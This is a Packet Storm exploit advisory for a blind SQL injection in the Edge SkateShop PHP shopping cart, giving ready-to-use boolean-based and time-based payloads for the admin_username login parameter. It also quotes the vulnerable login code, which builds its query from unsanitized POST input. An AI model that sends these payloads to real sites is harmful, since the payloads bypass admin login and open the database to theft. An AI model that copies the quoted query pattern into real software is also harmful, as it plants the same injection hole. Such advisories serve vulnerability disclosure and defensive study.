what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Edge SkateShop Blind SQL Injection

Edge SkateShop Blind SQL Injection
Posted Dec 16, 2016
Authored by Andrea Bocchetti

Edge SkateShop suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | ee2c1526cff0099f5303c5f9e194609acfc6e866ac6146fba7d5b3fea2bf3ea0

Edge SkateShop Blind SQL Injection

Change Mirror Download
# Exploit Title: Edge SkateShop Blind Sql Injection
# Date: 12/12/2016
# Exploit Author: Andrea Bocchetti
# Vendor HomePage: http://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html
# Software Link: http://www.sourcecodester.com/sites/default/files/download/gebbz/edgesketch.zip
# Version : n/a
# Tested on: kali linux

# Proof of Concept (Using SQLMap) :

Parameter: admin_username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: admin_username=-8520' OR 6015=6015-- PORX&admin_password=&admin_login=Scmp

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: admin_username=yzsT' OR SLEEP(5)-- Qgnn&admin_password=&admin_login=Scmp


Issue :
if(isset($_POST['admin_login']))
{
$admin_username=$_POST['admin_username'];
$admin_password=$_POST['admin_password'];


$check_admin="select * from admin WHERE admin_username='$admin_username' AND admin_password='$admin_password'";


$run=mysqli_query($dbcon,$check_admin);

if(mysqli_num_rows($run))
{
echo "<script>alert('You're successfully login!')</script>";

echo "<script>window.open('Admin/index.php','_self')</script>";

$_SESSION['admin_username']=$admin_username;



}
else
{
echo "<script>alert('Username or password is incorrect!')</script>";
echo "<script>window.open('index.php','_self')</script>";

exit();

}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close